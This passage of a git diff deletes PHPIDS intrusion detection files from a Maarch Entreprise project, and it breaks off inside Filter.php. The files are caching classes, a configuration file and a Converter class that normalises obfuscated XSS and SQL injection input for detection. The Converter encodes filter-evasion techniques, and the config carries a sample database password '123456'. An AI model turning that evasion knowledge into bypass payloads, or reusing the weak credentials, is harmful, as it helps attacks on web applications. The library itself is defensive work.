self::$cachingInstance; - } - - /** - * Writes cache data - * - * @param array $data the caching data - * - * @return object $this - */ - public function setCache(array $data) - { - - if(!$this->isCached) { - $this->memcache->set( - $this->config['key_prefix'] . '.storage', - $data, false, $this->config['expiration_time'] - ); - } - - return $this; - } - - /** - * Returns the cached data - * - * Note that this method returns false if either type or file cache is - * not set - * - * @return mixed cache data or false - */ - public function getCache() - { - - $data = $this->memcache->get( - $this->config['key_prefix'] . - '.storage' - ); - $this->isCached = !empty($data); - - return $data; - } - - /** - * Connect to the memcached server - * - * @throws Exception if connection parameters are insufficient - * @return void - */ - private function _connect() - { - - if ($this->config['host'] && $this->config['port']) { - // establish the memcache connection - $this->memcache = new Memcache; - $this->memcache->pconnect( - $this->config['host'], - $this->config['port'] - ); - - } else { - throw new Exception('Insufficient connection parameters'); - } - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Session.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Session.php deleted file mode 100755 index aab81f70d43e0dd6444d9eef41dc0d27261aa72a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Caching/Session.php +++ /dev/null @@ -1,146 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Caching/Interface.php'; - -/** - * File caching wrapper - * - * This class inhabits functionality to get and set cache via session. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Session.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Caching_Session implements IDS_Caching_Interface -{ - - /** - * Caching type - * - * @var string - */ - private $type = null; - - /** - * Cache configuration - * - * @var array - */ - private $config = null; - - /** - * Holds an instance of this class - * - * @var object - */ - private static $cachingInstance = null; - - /** - * Constructor - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return void - */ - public function __construct($type, $init) - { - $this->type = $type; - $this->config = $init->config['Caching']; - } - - /** - * Returns an instance of this class - * - * @param string $type caching type - * @param object $init the IDS_Init object - * - * @return object $this - */ - public static function getInstance($type, $init) - { - - if (!self::$cachingInstance) { - self::$cachingInstance = new IDS_Caching_Session($type, $init); - } - - return self::$cachingInstance; - } - - /** - * Writes cache data into the session - * - * @param array $data the caching data - * - * @return object $this - */ - public function setCache(array $data) - { - - $_SESSION['PHPIDS'][$this->type] = $data; - return $this; - } - - /** - * Returns the cached data - * - * Note that this method returns false if either type or file cache is not set - * - * @return mixed cache data or false - */ - public function getCache() - { - - if ($this->type && $_SESSION['PHPIDS'][$this->type]) { - return $_SESSION['PHPIDS'][$this->type]; - } - - return false; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Config/Config.ini.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Config/Config.ini.php deleted file mode 100755 index 409ab94a1d7d105e61306e47e43aa46b079df10a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Config/Config.ini.php +++ /dev/null @@ -1,89 +0,0 @@ -; <?php die(); ?> - -; PHPIDS Config.ini - -; General configuration settings - - -[General] - - ; basic settings - customize to make the PHPIDS work at all - filter_type = xml - - base_path = /full/path/to/IDS/ - use_base_path = false - - filter_path = maarch_filter.xml - tmp_path = tmp - scan_keys = false - - ; in case you want to use a different HTMLPurifier source, specify it here - ; By default, those files are used that are being shipped with PHPIDS - HTML_Purifier_Path = vendors/htmlpurifier/HTMLPurifier.auto.php - HTML_Purifier_Cache = vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer - - ; define which fields contain html and need preparation before - ; hitting the PHPIDS rules (new in PHPIDS 0.5) - ;html[] = POST.__wysiwyg - - ; define which fields contain JSON data and should be treated as such - ; for fewer false positives (new in PHPIDS 0.5.3) - ;json[] = POST.__jsondata - - ; define which fields shouldn't be monitored (a[b]=c should be referenced via a.b) - exceptions[] = GET.__utmz - exceptions[] = GET.__utmc - - ; you can use regular expressions for wildcard exceptions - example: /.*foo/i - - ; PHPIDS should run with PHP 5.1.2 but this is untested - set - ; this value to force compatibilty with minor versions - min_php_version = 5.1.6 - -; If you use the PHPIDS logger you can define specific configuration here - -[Logging] - - ; file logging - path = tmp/phpids_log.txt - - ; email logging - - ; note that enabling safemode you can prevent spam attempts, - ; see documentation - recipients[] = test@test.com.invalid - subject = "PHPIDS detected an intrusion attempt!" - header = "From: <PHPIDS> info@phpids.org" - envelope = "" - safemode = true - urlencode = true - allowed_rate = 15 - - ; database logging - - wrapper = "mysql:host=localhost;port=3306;dbname=phpids" - user = phpids_user - password = 123456 - table = intrusions - -; If you would like to use other methods than file caching you can configure them here - -[Caching] - - ; caching: session|file|database|memcached|none - caching = file - expiration_time = 10000 - - ; file cache - path = tmp/default_filter.cache - - ; database cache - wrapper = "mysql:host=localhost;port=3306;dbname=phpids" - user = phpids_user - password = 123456 - table = cache - - ; memcached - ;host = localhost - ;port = 11211 - ;key_prefix = PHPIDS diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Converter.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Converter.php deleted file mode 100755 index 4f38725104b76ff6087b0623934b6b171149a4a5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Converter.php +++ /dev/null @@ -1,750 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * PHPIDS specific utility class to convert charsets manually - * - * Note that if you make use of IDS_Converter::runAll(), existing class - * methods will be executed in the same order as they are implemented in the - * class tree! - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Converter.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Converter -{ - /** - * Runs all converter functions - * - * Note that if you make use of IDS_Converter::runAll(), existing class - * methods will be executed in the same order as they are implemented in the - * class tree! - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function runAll($value) - { - foreach (get_class_methods(__CLASS__) as $method) { - - if (strpos($method, 'run') === 0) { - continue; - } - $value = self::$method($value); - } - - return $value; - } - - /** - * Check for comments and erases them if available - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromCommented($value) - { - // check for existing comments - if (preg_match('/(?:\<!-|-->|\/\*|\*\/|\/\/\W*\w+\s*$)|' . - '(?:--[^-]*-)/ms', $value)) { - - $pattern = array( - '/(?:(?:<!)(?:(?:--(?:[^-]*(?:-[^-]+)*)--\s*)*)(?:>))/ms', - '/(?:(?:\/\*\/*[^\/\*]*)+\*\/)/ms', - '/(?:--[^-]*-)/ms' - ); - - $converted = preg_replace($pattern, ';', $value); - $value .= "\n" . $converted; - } - - //make sure inline comments are detected and converted correctly - $value = preg_replace('/(<\w+)\/+(\w+=?)/m', '$1/$2', $value); - $value = preg_replace('/[^\\\:]\/\/(.*)$/m', '/**/$1', $value); - $value = preg_replace('/([^\-&])#.*[\r\n\v\f]/m', '$1', $value); - $value = preg_replace('/([^&\-])#.*\n/m', '$1 ', $value); - $value = preg_replace('/^#.*\n/m', ' ', $value); - - return $value; - } - - /** - * Strip newlines - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromWhiteSpace($value) - { - //check for inline linebreaks - $search = array('\r', '\n', '\f', '\t', '\v'); - $value = str_replace($search, ';', $value); - - // replace replacement characters regular spaces - $value = str_replace('�', ' ', $value); - - //convert real linebreaks - return preg_replace('/(?:\n|\r|\v)/m', ' ', $value); - } - - /** - * Checks for common charcode pattern and decodes them - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromJSCharcode($value) - { - $matches = array(); - - // check if value matches typical charCode pattern - if (preg_match_all('/(?:[\d+-=\/\* ]+(?:\s?,\s?[\d+-=\/\* ]+)){4,}/ms', - $value, $matches)) { - - $converted = ''; - $string = implode(',', $matches[0]); - $string = preg_replace('/\s/', '', $string); - $string = preg_replace('/\w+=/', '', $string); - $charcode = explode(',', $string); - - foreach ($charcode as $char) { - $char = preg_replace('/\W0/s', '', $char); - - if (preg_match_all('/\d*[+-\/\* ]\d+/', $char, $matches)) { - $match = preg_split('/(\W?\d+)/', - (implode('', $matches[0])), - null, - PREG_SPLIT_DELIM_CAPTURE); - - if (array_sum($match) >= 20 && array_sum($match) <= 127) { - $converted .= chr(array_sum($match)); - } - - } elseif (!empty($char) && $char >= 20 && $char <= 127) { - $converted .= chr($char); - } - } - - $value .= "\n" . $converted; - } - - // check for octal charcode pattern - if (preg_match_all('/(?:(?:[\\\]+\d+[ \t]*){8,})/ims', $value, $matches)) { - - $converted = ''; - $charcode = explode('\\', preg_replace('/\s/', '', implode(',', - $matches[0]))); - - foreach ($charcode as $char) { - if (!empty($char)) { - if (octdec($char) >= 20 && octdec($char) <= 127) { - $converted .= chr(octdec($char)); - } - } - } - $value .= "\n" . $converted; - } - - // check for hexadecimal charcode pattern - if (preg_match_all('/(?:(?:[\\\]+\w+\s*){8,})/ims', $value, $matches)) { - - $converted = ''; - $charcode = explode('\\', preg_replace('/[ux]/', '', implode(',', - $matches[0]))); - - foreach ($charcode as $char) { - if (!empty($char)) { - if (hexdec($char) >= 20 && hexdec($char) <= 127) { - $converted .= chr(hexdec($char)); - } - } - } - $value .= "\n" . $converted; - } - - return $value; - } - - /** - * Eliminate JS regex modifiers - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertJSRegexModifiers($value) - { - $value = preg_replace('/\/[gim]+/', '/', $value); - - return $value; - } - - /** - * Converts from hex/dec entities - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertEntities($value) - { - $converted = null; - - //deal with double encoded payload - $value = preg_replace('/&/', '&', $value); - - if (preg_match('/&#x?[\w]+/ms', $value)) { - $converted = preg_replace('/(&#x?[\w]{2}\d?);?/ms', '$1;', $value); - $converted = html_entity_decode($converted, ENT_QUOTES, 'UTF-8'); - $value .= "\n" . str_replace(';;', ';', $converted); - } - // normalize obfuscated protocol handlers - $value = preg_replace( - '/(?:j\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t\s*:)|(d\s*a\s*t\s*a\s*:)/ms', - 'javascript:', $value - ); - - return $value; - } - - /** - * Normalize quotes - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertQuotes($value) - { - // normalize different quotes to " - $pattern = array('\'', '`', '´', '’', '‘'); - $value = str_replace($pattern, '"', $value); - - //make sure harmless quoted strings don't generate false alerts - $value = preg_replace('/^"([^"=\\!><~]+)"$/', '$1', $value); - - return $value; - } - - /** - * Converts SQLHEX to plain text - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromSQLHex($value) - { - $matches = array(); - if(preg_match_all('/(?:(?:\A|[^\d])0x[a-f\d]{3,}[a-f\d]*)+/im', $value, $matches)) { - foreach($matches[0] as $match) { - $converted = ''; - foreach(str_split($match, 2) as $hex_index) { - if(preg_match('/[a-f\d]{2,3}/i', $hex_index)) { - $converted .= chr(hexdec($hex_index)); - } - } - $value = str_replace($match, $converted, $value); - } - } - // take care of hex encoded ctrl chars - $value = preg_replace('/0x\d+/m', ' 1 ', $value); - - return $value; - } - - /** - * Converts basic SQL keywords and obfuscations - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromSQLKeywords($value) - { - $pattern = array('/(?:is\s+null)|(like\s+null)|' . - '(?:(?:^|\W)in[+\s]*\([\s\d"]+[^()]*\))/ims'); - $value = preg_replace($pattern, '"=0', $value); - - $value = preg_replace('/[^\w\)]+\s*like\s*[^\w\s]+/ims', '1" OR "1"', $value); - $value = preg_replace('/null([,"\s])/ims', '0$1', $value); - $value = preg_replace('/\d+\./ims', ' 1', $value); - $value = preg_replace('/,null/ims', ',0', $value); - $value = preg_replace('/(?:between)/ims', 'or', $value); - $value = preg_replace('/(?:and\s+\d+\.?\d*)/ims', '', $value); - $value = preg_replace('/(?:\s+and\s+)/ims', ' or ', $value); - - $pattern = array('/(?:not\s+between)|(?:is\s+not)|(?:not\s+in)|' . - '(?:xor|<>|rlike(?:\s+binary)?)|' . - '(?:regexp\s+binary)|' . - '(?:sounds\s+like)/ims'); - $value = preg_replace($pattern, '!', $value); - $value = preg_replace('/"\s+\d/', '"', $value); - $value = preg_replace('/(\W)div(\W)/ims', '$1 OR $2', $value); - $value = preg_replace('/\/(?:\d+|null)/', null, $value); - - return $value; - } - - /** - * Detects nullbytes and controls chars via ord() - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromControlChars($value) - { - // critical ctrl values - $search = array( - chr(0), chr(1), chr(2), chr(3), chr(4), chr(5), - chr(6), chr(7), chr(8), chr(11), chr(12), chr(14), - chr(15), chr(16), chr(17), chr(18), chr(19), chr(24), - chr(25), chr(192), chr(193), chr(238), chr(255), '\\0' - ); - - $value = str_replace($search, '%00', $value); - - //take care for malicious unicode characters - $value = urldecode(preg_replace('/(?:%E(?:2|3)%8(?:0|1)%(?:A|8|9)' . - '\w|%EF%BB%BF|%EF%BF%BD)|(?:&#(?:65|8)\d{3};?)/i', null, - urlencode($value))); - $value = urldecode( - preg_replace('/(?:%F0%80%BE)/i', '>', urlencode($value))); - $value = urldecode( - preg_replace('/(?:%F0%80%BC)/i', '<', urlencode($value))); - $value = urldecode( - preg_replace('/(?:%F0%80%A2)/i', '"', urlencode($value))); - $value = urldecode( - preg_replace('/(?:%F0%80%A7)/i', '\'', urlencode($value))); - - $value = preg_replace('/(?:%ff1c)/', '<', $value); - $value = preg_replace( - '/(?:&[#x]*(200|820|200|820|zwn?j|lrm|rlm)\w?;?)/i', null,$value - ); - $value = preg_replace('/(?:&#(?:65|8)\d{3};?)|' . - '(?:&#(?:56|7)3\d{2};?)|' . - '(?:&#x(?:fe|20)\w{2};?)|' . - '(?:&#x(?:d[c-f])\w{2};?)/i', null, - $value); - - $value = str_replace( - array('«', '〈', '<', '‹', '〈', '⟨'), '<', $value - ); - $value = str_replace( - array('»', '〉', '>', '›', '〉', '⟩'), '>', $value - ); - - return $value; - } - - /** - * This method matches and translates base64 strings and fragments - * used in data URIs - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromNestedBase64($value) - { - $matches = array(); - preg_match_all('/(?:^|[,&?])\s*([a-z0-9]{30,}=*)(?:\W|$)/im', - $value, - $matches); - - foreach ($matches[1] as $item) { - if (isset($item) && !preg_match('/[a-f0-9]{32}/i', $item)) { - $base64_item = base64_decode($item); - $value = str_replace($item, $base64_item, $value); - } - } - - return $value; - } - - /** - * Detects nullbytes and controls chars via ord() - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromOutOfRangeChars($value) - { - $values = str_split($value); - foreach ($values as $item) { - if (ord($item) >= 127) { - $value = str_replace($item, ' ', $value); - } - } - - return $value; - } - - /** - * Strip XML patterns - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromXML($value) - { - $converted = strip_tags($value); - - if ($converted && ($converted != $value)) { - return $value . "\n" . $converted; - } - return $value; - } - - /** - * This method converts JS unicode code points to - * regular characters - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromJSUnicode($value) - { - $matches = array(); - - preg_match_all('/\\\u[0-9a-f]{4}/ims', $value, $matches); - - if (!empty($matches[0])) { - foreach ($matches[0] as $match) { - $chr = chr(hexdec(substr($match, 2, 4))); - $value = str_replace($match, $chr, $value); - } - $value .= "\n\u0001"; - } - - return $value; - } - - /** - * Converts relevant UTF-7 tags to UTF-8 - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromUTF7($value) - { - if(preg_match('/\+A\w+-?/m', $value)) { - if (function_exists('mb_convert_encoding')) { - if(version_compare(PHP_VERSION, '5.2.8', '<')) { - $tmp_chars = str_split($value); - $value = ''; - foreach($tmp_chars as $char) { - if(ord($char) <= 127) { - $value .= $char; - } - } - } - $value .= "\n" . mb_convert_encoding($value, 'UTF-8', 'UTF-7'); - } else { - //list of all critical UTF7 codepoints - $schemes = array( - '+ACI-' => '"', - '+ADw-' => '<', - '+AD4-' => '>', - '+AFs-' => '[', - '+AF0-' => ']', - '+AHs-' => '{', - '+AH0-' => '}', - '+AFw-' => '\\', - '+ADs-' => ';', - '+ACM-' => '#', - '+ACY-' => '&', - '+ACU-' => '%', - '+ACQ-' => '$', - '+AD0-' => '=', - '+AGA-' => '`', - '+ALQ-' => '"', - '+IBg-' => '"', - '+IBk-' => '"', - '+AHw-' => '|', - '+ACo-' => '*', - '+AF4-' => '^', - '+ACIAPg-' => '">', - '+ACIAPgA8-' => '">' - ); - - $value = str_ireplace(array_keys($schemes), - array_values($schemes), $value); - } - } - return $value; - } - - /** - * Converts basic concatenations - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromConcatenated($value) - { - //normalize remaining backslashes - if ($value != preg_replace('/(\w)\\\/', "$1", $value)) { - $value .= preg_replace('/(\w)\\\/', "$1", $value); - } - - $compare = stripslashes($value); - - $pattern = array('/(?:<\/\w+>\+<\w+>)/s', - '/(?:":\d+[^"[]+")/s', - '/(?:"?"\+\w+\+")/s', - '/(?:"\s*;[^"]+")|(?:";[^"]+:\s*")/s', - '/(?:"\s*(?:;|\+).{8,18}:\s*")/s', - '/(?:";\w+=)|(?:!""&&")|(?:~)/s', - '/(?:"?"\+""?\+?"?)|(?:;\w+=")|(?:"[|&]{2,})/s', - '/(?:"\s*\W+")/s', - '/(?:";\w\s*\+=\s*\w?\s*")/s', - '/(?:"[|&;]+\s*[^|&\n]*[|&]+\s*"?)/s', - '/(?:";\s*\w+\W+\w*\s*[|&]*")/s', - '/(?:"\s*"\s*\.)/s', - '/(?:\s*new\s+\w+\s*[+",])/', - '/(?:(?:^|\s+)(?:do|else)\s+)/', - '/(?:[{(]\s*new\s+\w+\s*[)}])/', - '/(?:(this|self)\.)/', - '/(?:undefined)/', - '/(?:in\s+)/'); - - // strip out concatenations - $converted = preg_replace($pattern, null, $compare); - - //strip object traversal - $converted = preg_replace('/\w(\.\w\()/', "$1", $converted); - - // normalize obfuscated method calls - $converted = preg_replace('/\)\s*\+/', ")", $converted); - - //convert JS special numbers - $converted = preg_replace('/(?:\(*[.\d]e[+-]*[^a-z\W]+\)*)' . - '|(?:NaN|Infinity)\W/ims', 1, $converted); - - if ($converted && ($compare != $converted)) { - $value .= "\n" . $converted; - } - - return $value; - } - - /** - * This method collects and decodes proprietary encoding types - * - * @param string $value the value to convert - * - * @static - * @return string - */ - public static function convertFromProprietaryEncodings($value) { - - //Xajax error reportings - $value = preg_replace('/<!\[CDATA\[(\W+)\]\]>/im', '$1', $value); - - //strip false alert triggering apostrophes - $value = preg_replace('/(\w)\"(s)/m', '$1$2', $value); - - //strip quotes within typical search patterns - $value = preg_replace('/^"([^"=\\!><~]+)"$/', '$1', $value); - - //OpenID login tokens - $value = preg_replace('/{[\w-]{8,9}\}(?:\{[\w=]{8}\}){2}/', null, $value); - - //convert Content and \sdo\s to null - $value = preg_replace('/Content|\Wdo\s/', null, $value); - - //strip emoticons - $value = preg_replace( - '/(?:\s[:;]-[)\/PD]+)|(?:\s;[)PD]+)|(?:\s:[)PD]+)|-\.-|\^\^/m', - null, - $value - ); - - //normalize separation char repetion - $value = preg_replace('/([.+~=*_\-;])\1{2,}/m', '$1', $value); - - //normalize multiple single quotes - $value = preg_replace('/"{2,}/m', '"', $value); - - //normalize quoted numerical values and asterisks - $value = preg_replace('/"(\d+)"/m', '$1', $value); - - //normalize pipe separated request parameters - $value = preg_replace('/\|(\w+=\w+)/m', '&$1', $value); - - //normalize ampersand listings - $value = preg_replace('/(\w\s)&\s(\w)/', '$1$2', $value); - - //normalize escaped RegExp modifiers - $value = preg_replace('/\/\\\(\w)/', '/$1', $value); - - return $value; - } - - /** - * This method is the centrifuge prototype - * - * @param string $value the value to convert - * @param IDS_Monitor $monitor the monitor object - * - * @static - * @return string - */ - public static function runCentrifuge($value, IDS_Monitor $monitor = null) - { - $threshold = 3.49; - if (strlen($value) > 25) { - - //strip padding - $tmp_value = preg_replace('/\s{4}|==$/m', null, $value); - $tmp_value = preg_replace( - '/\s{4}|[\p{L}\d\+\-=,.%()]{8,}/m', - 'aaa', - $tmp_value - ); - - // Check for the attack char ratio - $tmp_value = preg_replace('/([*.!?+-])\1{1,}/m', '$1', $tmp_value); - $tmp_value = preg_replace('/"[\p{L}\d\s]+"/m', null, $tmp_value); - - $stripped_length = strlen(preg_replace('/[\d\s\p{L}\.:,%&\/><\-)!|]+/m', - null, $tmp_value)); - $overall_length = strlen( - preg_replace('/([\d\s\p{L}:,\.]{3,})+/m', 'aaa', - preg_replace('/\s{2,}/m', null, $tmp_value)) - ); - - if ($stripped_length != 0 - && $overall_length/$stripped_length <= $threshold) { - - $monitor->centrifuge['ratio'] = - $overall_length/$stripped_length; - $monitor->centrifuge['threshold'] = - $threshold; - - $value .= "\n$[!!!]"; - } - } - - if (strlen($value) > 40) { - // Replace all non-special chars - $converted = preg_replace('/[\w\s\p{L},.:!]/', null, $value); - - // Split string into an array, unify and sort - $array = str_split($converted); - $array = array_unique($array); - asort($array); - - // Normalize certain tokens - $schemes = array( - '~' => '+', - '^' => '+', - '|' => '+', - '*' => '+', - '%' => '+', - '&' => '+', - '/' => '+' - ); - - $converted = implode($array); - - $_keys = array_keys($schemes); - $_values = array_values($schemes); - - $converted = str_replace($_keys, $_values, $converted); - - $converted = preg_replace('/[+-]\s*\d+/', '+', $converted); - $converted = preg_replace('/[()[\]{}]/', '(', $converted); - $converted = preg_replace('/[!?:=]/', ':', $converted); - $converted = preg_replace('/[^:(+]/', null, stripslashes($converted)); - - // Sort again and implode - $array = str_split($converted); - asort($array); - - $converted = implode($array); - - if (preg_match('/(?:\({2,}\+{2,}:{2,})|(?:\({2,}\+{2,}:+)|' . - '(?:\({3,}\++:{2,})/', $converted)) { - - $monitor->centrifuge['converted'] = $converted; - - return $value . "\n" . $converted; - } - } - - return $value; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Event.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Event.php deleted file mode 100755 index 547d69c0a1d2d4c9fa0cba87b29ed8b4de41e4c2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Event.php +++ /dev/null @@ -1,235 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * PHPIDS event object - * - * This class represents a certain event that occured while applying the filters - * to the supplied data. It aggregates a bunch of IDS_Filter implementations and - * is a assembled in IDS_Report. - * - * Note that this class implements both Countable and IteratorAggregate - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Event.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Event implements Countable, IteratorAggregate -{ - - /** - * Event name - * - * @var scalar - */ - protected $name = null; - - /** - * Value of the event - * - * @var scalar - */ - protected $value = null; - - /** - * List of filter objects - * - * Filter objects in this array are those that matched the events value - * - * @var array - */ - protected $filters = array(); - - /** - * Calculated impact - * - * Total impact of the event - * - * @var integer - */ - protected $impact = 0; - - /** - * Affecte tags - * - * @var array - */ - protected $tags = array(); - - /** - * Constructor - * - * Fills event properties - * - * @param scalar $name the event name - * @param scalar $value the event value - * @param array $filters the corresponding filters - * - * @return void - */ - public function __construct($name, $value, Array $filters) - { - if (!is_scalar($name)) { - throw new InvalidArgumentException( - 'Expected $name to be a scalar,' . gettype($name) . ' given' - ); - } - - if (!is_scalar($value)) { - throw new InvalidArgumentException(' - Expected $value to be a scalar,' . gettype($value) . ' given' - ); - } - - $this->name = $name; - $this->value = $value; - - foreach ($filters as $filter) { - if (!$filter instanceof IDS_Filter) { - throw new InvalidArgumentException( - 'Filter must be derived from IDS_Filter' - ); - } - - $this->filters[] = $filter; - } - } - - /** - * Returns event name - * - * The name of the event usually is the key of the variable that was - * considered to be malicious - * - * @return scalar - */ - public function getName() - { - return $this->name; - } - - /** - * Returns event value - * - * @return scalar - */ - public function getValue() - { - return $this->value; - } - - /** - * Returns calculated impact - * - * @return integer - */ - public function getImpact() - { - if (!$this->impact) { - $this->impact = 0; - foreach ($this->filters as $filter) { - $this->impact += $filter->getImpact(); - } - } - - return $this->impact; - } - - /** - * Returns affected tags - * - * @return array - */ - public function getTags() - { - $filters = $this->getFilters(); - - foreach ($filters as $filter) { - $this->tags = array_merge($this->tags, - $filter->getTags()); - } - - $this->tags = array_values(array_unique($this->tags)); - - return $this->tags; - } - - /** - * Returns list of filter objects - * - * @return array - */ - public function getFilters() - { - return $this->filters; - } - - /** - * Returns number of filters - * - * To implement interface Countable this returns the number of filters - * appended. - * - * @return integer - */ - public function count() - { - return count($this->getFilters()); - } - - /** - * IteratorAggregate iterator getter - * - * Returns an iterator to iterate over the appended filters. - * - * @return ArrayObject the filter collection - */ - public function getIterator() - { - return new ArrayObject($this->getFilters()); - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Filter.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Filter.php deleted file mode 100755 index 1540d69b7796e6bff5eb090287a2842ff9c8c42a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Filter.php +++ /dev/null @@ -1,187 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license 